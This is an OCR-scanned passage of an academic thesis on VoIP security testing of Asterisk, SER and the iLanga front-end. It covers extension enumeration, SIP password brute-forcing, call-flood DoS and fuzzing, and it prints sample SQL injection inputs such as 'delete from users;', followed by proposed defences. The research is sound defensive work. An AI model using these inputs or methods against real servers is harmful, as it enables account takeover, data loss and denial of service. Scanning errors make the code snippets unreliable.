str(float( result["prepaid _ balance' ])/ t 00) + 'Irlnlrln') 
#save the homebox info for later use 
sel!.homeserver = resu lt["homeserver'] 
self.state = STATE_AUTH 
print "Authorization failed" 
self.sendLine('Response: Failurelr\nMessage: Authorization 
sel!.state= STATE_UNAUTH 
print "Received invalid line (blank line expected)' 
self.sendLine(' Response : Failurelr\nMessage: Blank line 
expectedlrlnlrln') 
sel!.state = STATE_UNAUTH 
The following messages are sent back to the MACROMEDIA FLASH web page when the 
user is authenticated: 
Response: Success 
Message: Authorization successful 
Event: Status 
Prepaid_balance: 41.93 
When the success message is received back from the proxy, the state of the 
M ACROMEDIA FLASH web page is set to authorized and the prepaid balance is 
updated. After the user has been authenticated with the proxy. the following command 
is sent to the proxy to retrieve the number of voicemail messages that the user has: 
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myStr = "Action: MailboxCount,Mailbox:" + _global.username + ·,ActionID: 1 ;Ir\n"; 
myXMLSocket.send(myStr); 
The above command is sent in similar fashion as the login command and will look 
like this when received by the proxy: 
Action: MailboxCount,Mailbox: 7524,ActionID: 1; 
Since the user is authenticated with the proxy as a nonmal user, the proxy will forward 
the message on to the ASTERISK Manager API, Figure 12 interaction B: 
elif self.state == STATE_AUTH: 
It message 
Forwarding 
Command to 
Asterisk manager 
lin = lin.stripO.strip("IxOO"); 
if self.clienttype==USERTYPE_ADMIN: 
t 
I 
I 
I 
t 
{ 
else:lin = lin.replace(,,' ,\rl n') 
lin = lin.replace(';','Ir\nl rl n') 
for s in self.factory.servers: 
s.cl ientLine(lin,self.homeserver) 
ASTERISK Manager command lines are tenminated using Carriage Return Line Feed 
(CRLF) and the command is terminated with an extra CRLF. In the above code the 
"," are replaced with a single CRLF and the ";", which ends the command, is replaced 
with a double CRLF and then it is sent to the ASTERISK Manager API. 
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Beside authenticating users and retrieving a user mailbox count, the proxy is also used 
to perform the following functions: 
• Check the state of other users - where they are available or busy 
• Park calls 
• Reload extensions in ASTERISK 
The above other functions are forwarded through the proxy to the ASTERISK Manager 
in the same way as the mailbox count example is. The proxy also filters the traffic 
coming back from the ASTERISK Manager and to only forward certain traffic back to 
the MACROMEDIA FLASH web pages. 
All commands sent between the MACROMEDIA FLASH web pages, ILANGA proxy and 
ASTERISK are sent in plain text. This could allow, again, a man-in-the-middle attack. 
3.9 Concurrent call testing on ASTERISK using ASTER TEST 
Introduction 
The purpose of this experiment is to investigate how many concurrent calls ASTERISK 
can handle and what restricts the number of these calls. The experiment was inspired 
by the VoIP specific DoS risk of softswitch flooding mentioned in Subsection 2.3.1. 
A testing tool called ASTERTEST [Il was chosen for this experiment. This was for two 
reasons: firstly, it was designed to increase scalability and failover of ASTERISK. 
Secondly, ASTERTEST provides a load-generating and stress-testing tool for 
ASTERISK. 
The experiment requires two servers, a test server and an originating server, both 
running ASTERISK 1.2.7.1. The specifications of these two servers are given below. A 
third computer is needed to run the ASTERTEST software. ASTERTEST will connect to 
the test server and the originating server over the ASTERISK Manager API. Through 
the ASTERISK Manager API, ASTERTEST will command the originating server to place 
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call s to the test server. ASTERTEST will also gather CPU information from both 
servers and the number of calls placed. 
The test server: 
Memory 1034032 kb 
CPU: Intel(R) Pentium(R) 4 CPU 3.00GHz with Hyper Threading 
OS: Fedora Core 3 kerneI2.6.9-1.667smp 
The originating server: 
Memory 516460 kb 
CPU: Intel(R) Xeon(TM) CPU 2.40GHz 
OS: Ubuntu 5.10 kernel 2.6.12-9-386 
The experiment 
The experiment uses an "answer Test" from ASTERTEST, on the fastest speed. An 
"answer Test" is a number of concurrent phone calls over lAX or SIP placed from the 
originating server that the test server answers and then waits for 10000 seconds. 
On a standard Linux system running ASTERlSK, 250 SIP channels can be created 
[160]. The following error messages occurred in ASTERlSK on the originating server, 
because the test server could not accept any more calls: 
May 4 10:07:29 WARN ING[31940]: chan_sip.c:1409 create_addr: No such host: 
getatix.ict.ru.ac.za 
May 410:07:29 NOTICE[31940]: channel.c:1886 _ asUequesCand_dial : Unable to 
request channel SIP/test01@getatix.ict.ru.ac.za 
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The error messages in ASTERISK on the test server are as follows: 
May 9 09:52:31 WARNING[27396]: rtp.c:911 asCrtcp_new: Unable to allocate 
socket: Too many open files 
May 9 07:52:31 WARNING[27396]: channel.c:561 ast_channel_alloc: Channel 
allocation failed: Can't create alert pipe! 
May 9 07:52:3t WARN ING[27396]: chan_sip.c:2726 sip_new: Unable to allocate SIP 
channel structure 
May 907:52:31 NOTICE[27396]: chan_sip.c:1 0468 handle_requesUnvite: Unable to 
create/find channel 
A graph of five test cycles, run one after another, of the CPU load on the test server is 
shown in Figure 13. One test cycle consists of calls being made to the test server and 
the calls are hung up when the reset button is pressed in ASTERTEsT. 
CPU load on Test server 
120 ----
Time 
Figure 13: CPU 10ad on test server 
From the graph in Figure 13 it can be seen that the load on the CPU is not great 
enough to have an impact on the number of calls the test server can handle. The graph 
in Figure 14 represents the CPU load without Hyper Threading. The 'without Hyper 
Threading' test was run to illustrate that Hyper Threading did not have an effect on 
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the test results because Hyper Threading improves the use of CPU resources and 
enables higher processing throughput [58]. This test strengthens the argument that the 
CPU does not have an effect on the maximum number of calls on an ASTERISK server. 
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Figure 14: CPU load without Hyper Threading 
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Figure 15: Bandwidth activity on test server 
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As shown in Figure 15, the bandwidth used by the test server is not significant enough 
to have an effect on the number of calls that the test server can handle. 
When the test is run, an error is generated on the Test server: Unable to allocate 
socket: Too many open files and the test server stops receiving calls. The command: 
cat Iproc/rys/fsljile-nr [83] retums the number of open file descriptors on the system. 
The command has been used to compile a table, Table I, listing the number of open 
file descriptors before, during and after each test is run. It can be concluded that the 
maximum number of files allowed to be opened is 35 10. A system limit has been 
reached on the test server. 
Test I Before 2565 
During 3510 
After 2790 
Test 2 Before 2790 
During 3510 
After 2700 
Test 3 Before 2700 
During 3510 
After 2880 
Test 4 Before 2880 
During 3510 
After 2700 
Test 5 Before 2610 
During 3510 
After 2745 
Table 1: Number of file descriptors open before, during and after a test 
The recommendations would naturally be to increase the maximum number of files 
allowed to be open simultaneously in the OS. It is recommended to increase the 
number to 65535 by changing the number in the Iprocisys/fsljile-max file, but the 
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number of files allowed open on the test server is set at 102436 already. In studying 
the ASTERISK source code, no reference to a set call limit was discovered. Further 
investigation into the file descriptor limit in the Linux OS discovered that the number 
of open file descriptors can be set per user. The command ulimil - n will yield the 
number of open file descriptors allowed. It is currently set at 1024. By running the 
tests again, waiting for ASTERISK to reach its limit and then checking the number of 
file descriptors open for the ASTERISK process, we verified, by using the command Is 
-I /proe/<pid_oJ-aslerisk>/jd I we -I, that the number of open file descriptors was in 
fact 1024. Increasing the number of file descriptors by using the command: ulimil - n 
65536 [108,162] and rerunning the tests, achieved the results below. 
Before the test was run, the number of file descriptors open were 23. The maximum 
number of file descriptors open on the test server during the tests was 20028. This is 
well below the limit set, 65536. 
The originating server had a maximum of 5002 active channels and 5001 active calls 
during the test. (The difference in the number of channels and calls is because the 
originating server opened a new channel to make a call to the test server but the test 
server could not complete the calL) The test server had 5001 active calls and channels. 
Although more than 5001 SIP Channels can be opened because of the adjustment 
made to the number of file descriptors allowed to be opened, the test stopped here 
because no new RTP channels could be opened. The number of RTP channels 
allowed to be opened can be set in the rIp. con! file. On the test server the RTP port 
range was set between 10000 and 20000. The number of available RTP ports is 10001 
and the greatest number of SIP Channels that were opened was 5001, 5000 plus I (I 
is the last SIP Channel that was opened and caused the error message shown below). 
The range of RTP ports can be adjusted according to one's needs. 
May 18 11 :32:56 ERROR[17802]: rtp.c:984 asUtp_new_with_bindaddr: No RTP 
ports remaining. Can't setup media stream for this call. 
May 18 11:32:56 WARNING[1 7802]: chan_sip.c:3053 sip-"lIoc: Unable to create 
RTP audio session: Address already in use 
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To confirm this hypothesis, the RTP port range was changed to between 10000 and 
15000, which allocates 500 I RTP ports. The number of channels that could be opened 
on the test server was 2501 channels; again this is half the number of RTP ports 
available. 
Discussion 
These tests have shown that the number of channels that can be opened by ASTERISK 
is restricted by the limit of file descriptors that can be opened in Linux OS. But once 
this limit has been adjusted, the number of channels that can be opened depends on 
the number of RTP ports that have been allocated. 
3.10 Using SIVUS on SIP EXPRESS ROUTER 
Introduction 
This experiment was chosen on the grounds of the malformed protocol messages risk 
mentioned in Subsection 2.3.1. SER was flooded with malformed SIP messages to 
discover if there were any buffer overflows which could result in DoS. The SIP 
messages were altered according to predefined tests included in the SiVuS tool [161]. 
SIVUS is a VoIP vulnerability scanner developed for Microsoft Windows by the 
group at vopsecurity.org. SIVUS comprises three parts: a SIP message generator, a 
SIP discovery component and a SIP vulnerability scanner. The SIP vulnerability 
scanner component has been used on SER version 0.8.12 and version 0.9.4 to flood 
SER with SIP messages. 
The experiment 
We were able to crash SER using SIVUS when starting SER with the command 
letclinit.d!ser start and using the following SIP methods: INVITE, REGISTER, 
OPTIONS, ACK, CANCEL, and BYE. Known registered SIP UAs were used with 
SER. SIVUS has been used with authentication, MD5, and without, and this did not 
make a difference. 
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In SrVuS, the connection timeout is set at 300ms and the string size used for buffer 
overflow checks are set at 50, 100, 500, 1000, 3000 and 5000. The string size is the 
number of additional characters, a character being one "-sip-", that are inserted into a 
SIP message. This caused SER to crash after 4% of the scan process for the test had 
been reached. The last packet sent was with 5000 "-sip-" inserted into the packet. 
To find out what the smallest string size would be to crash SER, the string size was 
initially set at 5000 and then decreased. The string size of 1544 was found to be the 
smallest required to crash SER, when SER was started with the command leldinil.diser 
start. 
Starting SER with the command lusrlsbinlser and leaving the terminal window open 
so that the debug information can be seen and then running the same tests as above, 
we obtained different results. SER does not crash even with the maximum string size 
(5000). If the terminal window is closed and a test was run against SER with the string 
size of 1544, SER crashes. SER tries to output debug information to stderror, but 
cannot, and so it crashes. 
In the SER configuration file: ser.cfg, line 17: !og_slderror=yes, SER is trying to log to 
the stderror output. We changed this line to !ogjtderror=no and ran the same tests as 
above with the command letclinit.dlser start and SER did not crash. 
Similarly, with the configuration fi le still set to not log to stderror, SER was started 
with the command: lusrlsbinlser and the same tests were run as mentioned above. SER 
did not crash. The results from these tests can be found on the CD-ROM. 
Conclusion 
This is a problem with SER outputting to stderror and not a SIP buffer overflow 
problem. This was proved by changing the SER configuration file to not output to 
stderror, and carrying out the same test. 
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3.11 Summary 
In this chapter we have shown that it is possible to discover the range of extensions 
that are valid on a softswitch through sending multiple attempted SIP REGISTER 
messages. It was proved that is it possible to brute force crack an extension's 
password by generating mUltiple response messages with different passwords until a 
code 200 SIP message is returned. It was determined that it is not possible to launch a 
SQL injection attack through the rLANGA front-end because a PHP script parses the 
SQL commands. The ILANGA front-end does not talk directly with the MYSQL 
database but uses PHP scripts to build the SQL queries. 
A testing tool called ASTERTEST was used to determine the call limit of an ASTERISK 
server. It was discovered that CPU usage and bandwidth usage did not affect this, but 
that the number of files that could be opened on the OS and the number of RTP ports 
specified in the ASTERISK configuration file did affect the call Ii mil. 
SIVUS, a VoIP vulnerability scanner, was used on SER. SIVUS sends multiple SIP 
packets with extra data added to these packets to SER. The objective was to discover 
whether SER had a buffer overflow error. From this experiment it was concluded that 
SER does not have a buffer overflow error but SER was crashing from trying to write 
to stderror. This problem was resolved by making a change to the configuration and 
not outputting to stderror. 
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Chapter 4 - Analysis of experiments 
4.1 Introduction 
This chapter will conduct an analytical study of the results of the experiments carried 
out in Chapter 3, with the focus being on the experiments carried out on ILANGA. 
From this study a theoretical approach on how to defend against some of the attacks 
that were investigated by the experiments will be presented. This chapter will not 
include the actual code to defend against these attacks but will address how and why 
the experiments were either successful or unsuccessful. Methods to stop the 
successful attacks will be presented. 
4.2 SIP extension discovery 
This section sets out to analyse the SIP extension discovery script, discussed in 
Subsection 3.5.1, which was developed to discover the extensions valid on a SIP 
server. Briefly, this was achieved by examining the SIP response codes sent back 
from the SIP server to the SIP extension discovery script. The analytical study of this 
script will first discuss the reasons why this experiment was successful and then how 
this attack can be stopped. 
4.2.1 Reasons why this experiment was successful 
This was not a destructive type of attack and it did not cause any direct harm to the 
SIP server. It was an exploratory attack to gather information about the SIP server, the 
information being the working extensions on a SIP server. This attack was successful 
because of the way the SIP protocol has been constructed. Therefore, it is possible 
against any standard compliant SIP server[I06] for SIP: every SIP server or SIP proxy 
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server will return the same response codes, explained in Subsection 3.5.1, when a SIP 
REGISTER message is sent to it. 
The format of ILANGA's extensions contributed to the success of this attack. A user's 
URI on ILANGA would be extension@sip.ict.ru.ac.za where the extension is a four 
digit number, but normally the extension part of a URI could be any combination of 
unreserved characters of any length. CAn ILANGA extension is only four digits long 
because ILANGA communications with the proprietary PBX at Rhodes University and 
it was decided to use the same format for ease of integration.) This reduced the search 
field to numeric values of four digits for the experiment and therefore reduced the 
number of possible combinations to test for. 
4.2.2 Basic idea on how this attack can be stopped 
The basic idea to stop this type of attack would be to stop the SIP server replying with 
a 401 response code message, because as mentioned in Subsection 3.5.1, the 401 
response code indicates that the extension is valid. The attacker should not be able to 
find out which extensions are valid on the targeted SIP server. However if the SIP 
server is stopped from sending a 40 I response code message back and instead sends a 
404 response code message, it would stop legitimate endpoints from registering with 
the SIP server. This is because the 401 response code message contains the nonce 
value that is required to be hashed with the password, among other things, to create a 
reply hash. A 404 response code message does not contain a nonce value. This reply 
hash will then authenticate the endpoint with the SIP server and thus allow the 
endpoint to register with the SIP server [106]. Therefore, short of completely 
changing the way the protocol work for registrations, the response code cannot be 
changed to a 404 to stop this type of attack. 
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4.2.3 Proposed method to thwart this type of attack 
An obvious method to stop this type of attack would be to reply with a response 
message of 401 to all register attempts made to a SIP server, whether the extension is 
valid on the SIP server or not. This will have a blanketing effect on the extensions that 
are valid on the SIP server and the attacker will discover that all the extensions are 
valid . Digium [38] has already included a change to the ASTERISK sip. con! file to 
allow for this. An option named alwaysauthreject allows a user to set, when an 
INVITE or REGISTER attempt is rejected, whether it is rejected with a 401 response 
code message or not. The attacker will only learn that all the extensions are valid and 
so will be back at square one. 
If all the extensions that were tested in the range specified by the SIP extension 
discovery script are shown as being valid, the SIP brute force password cracker will 
have a tough job set out for it. 
Although Digium has changed the way that Asterisk responds to SIP INVITE and 
REGISTER attempts, other SIP servers will still be vulnerable to this type of attack. A 
more general defence to this type of attack would be to monitor the SIP REGISTER 
message to the SIP server. A flood of SIP REGISTER messages will signal an attack 
and measures against it can be taken. SER and OPENSER [99] both include a module 
called 'pike' [65, I 00] which keeps track of incoming IP addresses and blocks the ones 
exceeding a certain limit. The module doesn't take any blocking action but reports the 
high traffic from an IP address that has exceeded the limit. The administrator can then 
take action, for example, against the IP address. A more general defence would be to 
defend against a flood of SIP packets from an IP address. An Intrusion Detection and 
Prevention System (IDS/IPS) would be able to detect this and take immediate action. 
Niccolini et al. [85] have proposed an intrusion detection and prevention SIP pre-
processor for SNORT [142], which will be able to monitor the SIP message rate and 
take appropriate action. 
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A NAT, as introduced in Subsection 2.5.2, can be used to hide the structure of the 
VolP subnet from an attacker, but a SIP server will have to have a public address to 
provide service to the external network. The SIP extension discovery would still be 
able to discover valid extensions on the SIP server through this public address. 
Therefore in this case a NAT would not provide any additional protection from this 
attack. 
General security policies can be enforced at ALGs, introduced in Section 2.5, to stop 
a flood of packets directed at softswitch before they reach the softswitch. Although 
they would be able to detect a flood in real-time, a rule will have to be put in place to 
block packets from a certain IP address once the system administrator has been made 
aware of the flooding attempt. 
4.3 SIP brute force password cracker 
The SIP brute force password cracker script, discussed in Subsection 3.5.2, relies on 
the attacker knowing a valid extension on a SIP server. The script attempts to find by 
brute force the password for a specified extension. This is attempted by sending SIP 
REGISTER messages to the SIP server until a SIP OK response message (200 code) 
is received back. This section, as in the previous section, will present an analytical 
study for the reasons why this experiment was successful, basic ideas on how this 
attack can be stopped and a working method to thwart this type of attack. 
4.3.1 Reasons why this experiment was successful 
This attack was successful and a user's password was found. The attack was 
successful because the script was able to send an unlimited number of SIP 
REGISTER messages with a guessed password hashed into them to the SIP server 
without being stopped. This continued until the correct password was guessed. This 
allowed the script an infinite amount of time to try and find a user's password. 
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As mentioned in Subsection 3.5.2, ILANGA uses only numeric passwords, with a 
maximum length of 25, but generally the passwords are of a length of four digits. This 
is so that a user can easily enter his password on a phone' s keypad. This aided in the 
success of the experiment as the script only had to guess passwords with numeric 
values. 
4.3.2 Basic ideas on how this attack can be stopped 
A recent vulnerability discovered in the IAX2 implementation in ASTERISK [44,60], 
discussed in Chapter 2 Subsection 2.7.1 , addressed a way to stop ASTERISK from 
being flooded with pending authentication IAX2 call requests and causing a DoS by 
exhausting the server's memory. This is a softswitch flooding attack, which has been 
discussed in Subsection 2.3.1. The same idea might be considered as a solution to a 
brute force attack and could be used to stop the SIP brute force password cracker 
script. 
Subsection 2.2.3 described the procedure for a call setup request in the IAX2 protocol. 
The solution to the IAX2 vulnerability counts the number of pending authentication 
call setup requests (when the server is in the Auth state) for a specific user and then 
stops accepting call setup requests when a user defined limit is reached. These are not 
generic call setup requests but requests to services that need authentication. When a 
call request is authorized the counter is reduced. The problem with this is if the limit 
is reached no other call setup requests will be accepted until one of the pending 
authentication call setup requests are authorized. This stops any new or legitimate call 
request from being accepted. 
A similar solution is applied to the SIP implementation in ASTERISK, counting the 
number of unauthorized SIP REGISTER messages received for a particular user, in 
order to stop the SIP brute force password cracker script from being successful. As 
mentioned, the script sends SIP REGISTER messages to the SIP server until a 
Response Code 200 SIP message is received. The Response Code 200 SIP message 
indicates that the script has successfully registered with the SIP server with the correct 
password and therefore has found the password. In order for the script to achieve this, 
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it had to send a vast number of SIP REGISTER messages that would have failed, If a 
damping system is put in place to count the number of unauthorized SIP REGISTER 
messages, the user defined limit for this counter could be reached before the password 
is found, If the limit is reached, the SIP server will stop accepting SIP REGISTER 
messages, Therefore not only will the script be stopped from attempting to find the 
user's password but a legitimate user will also be unable to register with the SIP 
server. 
If the IAX2 solution is modified from specific user based to specific user-IP based, 
this would stop a legitimate user from being locked out and would still stop the 
attacker from attempting to find the user's password, This would only succeed if the 
attacker used the same IP address throughout the attack, If the attacker launched an 
Distributed DoS (DDoS) attack, the attacker would still be able to attempt to find a 
user's password, If one IP address was blocked, other IP addresses would continue 
finding by brute force a user's password, One advantage of using a user-IP based 
solution is that once the limit has been reached for a specific IP address that IP 
address cannot be used again, If on average it takes 1000 guesses until the user's 
password was found and the limit of the user-IP based solution is set at 10, then the 
attacker would need 100 computerslIP addresses to fully explore the search space, in 
the case of a four-digit numeric password, 
4,3,3 Proposed method to thwart this type of attack 
The user-based solution would protect the SIP server and stop the attack but at the 
cost of the legitimate user. The user-IP based solution would protect the legitimate 
user from being locked out of the SIP server but would allow an attacker to brute 
force find the user's password with a DDoS attack, The attacker could spoof the 
legitimate user's IP address and thus lock the user out of the SIP server using the 
user's IP address, These two solutions with an added time delay factor could be 
possible solutions to this attack, A user-based solution can be used but when the limit 
is reached it is automatically reduced over a time period, The time period is increased 
every time the limit is reached, A small limit placed on a user-IP based solution, e,g, 
three, can be used to ban IP addresses, This could collect many IP addresses 
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depending on the size of the DDoS attack. Once the limit is reached the IP addresses 
are released over time and the time factor is increased for a specific IP every time that 
IP is banned. 
As mentioned in Subsection 4.2.3, SER and OPENSER have a module, 'pike', which 
can block incoming IP addresses based on the number of requests per a specified time 
period. When an IP address is detected to have exceeded the number of requests, the 
system administrator is notified. 
Brute force attacks are not synonymous with VoIP. An IDS/IPS like SNORT will be 
able to detect and prevent this type of attack, a flood of packets directed towards a SIP 
server. As mentioned in Subsection 4.2.3, Niccolini et at. [85] have written a SIP pre-
processor for SNORT that is capable of checking the total SIP message rate of a SIP 
VA or a IP address. The SIP pre-processor would be able to generate an alert and/or 
drop the packet of an attack from a SIP VA that is attempting to find by brute force an 
extension's password even if the IP address of the SIP VA changes. Again, this type 
of attack is a flood of packets directed at a softswitch, so once the system 
administrator has been made aware of the attacks, rules can be enforced at an ALG 
placed in front of the softswitch to block the flooding attempt. 
4.4 An attack through a user account on the ILANGA front· 
end (SQL attack) 
This experiment set out to try and use SQL injection to attack the ASTERISK database 
through the ILANGA front-end. This section analyses the results from the experiment 
and discusses the reasons why the experiment was unsuccessful and the impact that 
the experiment could have had on the ASTERlSK database if it was successful. 
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4.4.1 Reasons why the attack was unsuccessful 
Firstly. it must be asked why a user is being attacked through another user's account. 
This question can be answered by considering the amount of time it took the SIP brute 
force password cracker to find one extension's password: an attacker would try to find 
a quicker method of gaining access to other users' accounts. This could be achieved 
by leveraging one user's account. If another user's account can be attacked through 
one user, can't all the accounts be attacked in a similar manner? 
A previously found user' s account was needed for this attack because the PHP script 
files first check for authorization. The PHP script files use the extension and the 
password which are checked against the users table in the asterisk database. 
This attack attempted to make adjustments to another user's account through an 
already exploited user's account. The attack used a tool called WEBSCARAB to modify 
the messages following between the rLA NGA front-end and the web server. The 
WEBSCARAB tool is used as a proxy server between the rLANGA front-end and the web 
server, which is situated on the ASTERlSK server. The experiment was explained in 
detail in Subsection 3.6. 
From the experiment carried out in Subsection 3.6 it was concluded that the injected 
SQL wiIl not be executed by the MYSQL database due to the backslashes added by 
the addslashes function. Therefore indirectly the addslashes function is providing 
protection against SQL injection attacks which contain quotes. 
A SQL injection attack which does not contain quotes was attempted next: 
select" from users; 
The above command was chosen because the users table in the asterisk database 
contains the user's extension and password. This would allow the attacker to have full 
access to all the users' accounts on rLANGA with their passwords. This was good in 
theory; the injected SQL would have been executed and would not have been affected 
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by the adds lashes function. The problem with this choice is that the 
saveuserdevices.php script does not return the result of the query, just whether it was 
able to authenticate with the database using the user's credentials . The only advantage 
that could possibly be gained from this is to make changes to the database either 
through updates, inserts or deletes. As discussed earlier in this section, no quotes can 
be used because of the addslashes function used in the PHP script and thus rules out 
the update and insert commands. This leaves the delete command. 
The delete command can be used, as it does not require quotes and the only 
information returned is the number of rows that are deleted, unimportant in this case. 
For example, the following delete command could be used: 
delete from users; 
Thi s delete command will delete all the rows in the users table in the asterisk 
database. The users table contains information about each user that is registered on 
ASTERISK, including passwords and prepaid balances. Deleting all the data from this 
table will stop the users from registering with ASTERISK and from making or receiving 
calls. 
In Subsection 3.3.2, it was discussed how to restrict access to the MySQL database or 
the different components of ILANGA. The PHP script files are run on the web server 
and have been given access to the asterisk database through the MYSQL user 
ilangaweb. The ilangaweb user only has select and update privileges on the users and 
userdevices tables. This restriction was placed on the ilangaweb user so that the user 
would have the minimum privileges to perform the job required by the scripts. In this 
instance the restrictions have proven to be useful as they stopped the delete command 
from being used against the asterisk database. 
This attack was unsuccessful for three reasons, reasons that were mentioned to 
prevent SQL injection in Subsection 2.4.3. Firstly, the addslashes function stops 
injected SQL from containing quotes in the statement. Secondly, the PHP script only 
returns whether it was able to authenticate with the database and does not return the 
results from the SQL query: this stopped the select command from being used. Lastly, 
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the restrictions placed on the MYSQL database ilangaweb user stopped all commands 
except the select and update commands from being run. Thus the delete command 
could not be used through the ilangaweb user on the asterisk database. 
Without using the three methods mentioned above to stop a SQL injection attack 
through a web-based application. A firewall would be unable to stop a SQL injection 
attack. As stated at the in Subsection 3.6, the firewall has been assumed to be 
correctly configured and access is only allowed to the MYSQL database from the 
localhost, hence the use of a web-based application to attack through. But Subsection 
2.4.3 mentioned that SQL injection can pass through a firewall because a firewall 
operates at the network layer while a SQL injection attack takes place at the session 
layer. A proxy server placed in front of the web server, server-side, to filter out SQL 
injection attacks can be used [16,109] . Application level firewalls, introduced in 
Subsection 2.5.3, operate at the application layer and are able to examine packets and 
filter out packets according to security policies. A proxy server or an application level 
firewall will stop the injected SQL reaching the web server and being executed. 
4.4.2 The impact if this attack was successful. 
If the attack was successful, the attacker could have disabled another user's SIP 
endpoint through the cracked user account. In the example used in Section 3.8, the 
user with extension 7525 would have had his SIP endpoint set to ' inoperational' and 
would not be able to place or receive calls. If the function addslashes was not used or 
did not escape the quotes used in the SQL injection, then the attacker could possibly 
update any entry in the users and the userdevices tables in the asterisk database. This 
could include: 
• Changing other users' passwords, thus allowing the attacker control of their 
accounts and locking them out of their own accounts. Also the user's endpoint 
will not be able to register with ASTERISK, because the endpoint will be trying 
to register with the old passwords. This would allow the attacker to register his 
own endpoint under another user's account and place and receive calls. 
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• The attacker could also use the cracked user account to increase his own 
prepaid balance or other users' accounts that the attacker has owned. This 
would allow the attacker to make free phone calls through other users' 
accounts. 
If the PHP script returned the actual result from the query, then, within the restrictions 
placed on the MySQL database user ilangaweb, the attacker would be able to inject a 
selecr SQL statement. The select statement could be used to return all of the entries in 
the users table in the asterisk database. This would give the attacker access to all of 
the users' extensions, passwords and other credentials. This would be the easiest 
attack on the ASTERISK server. Only one extension needs to be discovered and the 
password found or an account on ASTERISK obtained. 
If there were no restrictions placed on the MySQL user, ilangaweb, the attacker could 
inject a delete SQL command and delete both of the users and userdevices tables in 
the asterisk database. 
4.5 ILANGA scripts vulnerabilities 
Section 3.8 started out as an investigation into how the different components of the 
ILANGA front-end interact. Section 3.8 was divided into three subsections, which 
covered how the PHP scripts, the PERL scripts and the ILANGA proxy all interact with 
the MACROMEDIA FLASH pages, the MySQL database and ASTERISK. Once it was 
learnt how the ILANGA front-end as a whole interacts with the different components 
from which it is constructed, it was decided to look at where vulnerabilities could be 
discovered in each component and their interactions with each other. 
One observation that was common across all three subsections was that when the 
individual components were separated across different computers, the risk of 
vulnerabilities being exploited was increased. This increased risk and other 
vulnerabilities that were discovered will be discussed in the following sections. 
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4.5.1 PHP scripts 
As explained in Subsection 3.8.1, all packets exchanged between the ILANGA front-
end MACROMEDIA FLASH files and PHP files are transmitted in plain-text. This 
exchange is illustrated in Figure 5 in Subsection 3.8.1 by Interaction A. If the 
MACROMEDIA FLASH files and the PHP script files were located on two different 
computers then an attacker could possibly capture this information, through a man-in-
the-middle attack. 
Reasons why this attack was successful 
What would be of interest to the attacker in these packets would be the user's 
credentials. As already mentioned in this chapter, Section 4.4, once the attacker has a 
user's credentials, it would be possible for the attacker to log onto ILANGA as the user. 
The attacker would then be able to disable the user's VoIP endpoints, make phone 
calls through the user's account and launch attacks against other users. 
The attacker will be unable to access the database by only knowing a user's 
credentials. To access to the database the credentials of the ilangaweb user will need 
to be known. 
4.5.2 PERL scripts 
Subsection 3.8.2 detailed how the four different PERL scripts function within iLanga, 
Figure 6 illustrates the interaction between the PERL script files and the ILANGA 
Front-end MACROMEDIA FLASH files. Two different types of attack were carried out in 
Subsection 3.8.2. The first one tried to delete files from a user's voicemail account 
and the second attack attempted to copy files from the ASTERISK server. Both are 
discussed below. 
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Reasons why this attack was successful 
User's credentials need to be sent with the three script files that interact with 
voicemail fi les, but none need to be sent when reloading extensions (reloading 
extensions is the process of altering the call routing during runtime) . The user's 
credentials that are sent with the three script files are not checked against the 
ASTERISK database but just if they are present in the script files. The check was 
performed at the client side, when the user logged into the ILANGA front-end. As 
stated in Subsection 2.4.3, client-side checks can easily be overcome by an attacker, 
by sending messages directly to the server. So an attacker could use any username and 
password in a reconstructed HTTP post request to delete a user's voicemail. But for a 
voice mail to be deleted, the attacker will need to know the username, so the right 
user's voice mail is deleted. The attacker will also have to know which voicemail to 
delete in the user's INBOX. 
Reasons why this attack was unsuccessful 
When the Play Voicemail PERL script file is called, it returns an MP3 file to the 
MACROMEDIA FLASH web page which in tum plays it to the user. The Play Voicemail 
script was used unsuccessfully to retrieve other types of files on the ASTERISK server. 
Although a file was returned, it was encoded to a MP3 file type and could not be 
decoded back to its original format because data has been lost due to compression. 
The loss of data is attributed to the perceptual encoding model that an MP3 encoder 
uses. MP3 compression is lossy, so the exact uncompressed version of the file can not 
be reconstructed from the compressed. While this is generally not a problem for an 
audio file to be consumed by a human being, it is a major problem when considering 
files that need to be executed by a machine. 
4.5.3 rLANGA proxy 
As discussed earlier on in this section, the risk for any vulnerability to be exploited 
when the different components of tLANGA are separated over different computers 
increases. All the commands sent between the MACROMEDIA FLASH web pages, the 
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ILANGA proxy and ASTERISK are in plain text. The interactions between these three 
components are illustrated in Figure 7 in Subsection 3.8.3, the interaction A and Bare 
sent in plain text. 
Reasons why this attack was successful 
The attacker could sniff the packets sent between these three components and could 
learn the manager's credentials, by listening in on interaction B, Figure 7. A user's 
credentials could be learnt by listening to interaction A, Figure 7, as a user has to 
authenticate himself with the proxy. The attacker could use the user's credentials, as 
mentioned before, to impersonate the user. The attacker would be able to use the 
manager's credentials to log onto the ASTERISK Manager API and issue commands to 
ASTERISK. 
4.5.4 Summary to the rLANGA scripts vulnerabilities 
What can be concluded from the above three subsections is that there are two main 
issues that cause vulnerabilities in the ILANGA front-end. Firstly, the information 
between the different components is sent in plain text, including us em ames and 
passwords. (This would be acceptable if ILANGA is run on one computer.) Secondly, 
the PERL scripts only checked if the user's credentials were present and did not 
contain any illegal characters. The MYSQL database was not queried again for a 
match. It is bad practise to rely on client-side validation only as the client may be 
bypassed by the attacker. 
If the ILANGA components need to be separated over different computers the 
connections between them need to be secured. This can be achieved by using Internet 
Protocol Security (IPSec), IPSec is transparent to applications as it runs below the 
application layer [35]. Therefore no alterations to the existing ILANGA need to be 
made for it to work with IPSec . The latency issues introduced with encrypting and 
decrypting packets will bear no noticeable consequence on the operation of ILANGA, 
as the ILANGA components do not handle voice packets directly but merely provide a 
user interface to the database transactions, no voice packets are transported between 
99 
the different ILANGA components. It would be a good policy to enforce the user of 
IPSec whenever data is transferred in plain text between two or more components 
over a network. 
4.6 Flooding the ASTERISK server with calls to disable the 
server 
This section discusses the experiment that was carried out in Section 3.9. In the 
experiment it was attempted to flood an ASTERISK server with concurrent SIP phone 
calls. This type of attack, a softswitch flooding attack, was mentioned in Subsection 
2.3 .1. The experiment was successful in flooding the ASTERISK server, causing a DoS, 
and it was also able to identify what was causing the limitation in ASTERISK. Once the 
limitation was reached on the ASTERISK server, no more calls could be made. 
4.6.1 Reasons why this attack was successful 
The load on the CPU and the amount of bandwidth used from the concurrent calls did 
not have any effect on the number of calls that could be made. It was determined that 
ASTERISK could not open enough sockets for all the calls because the maximum 
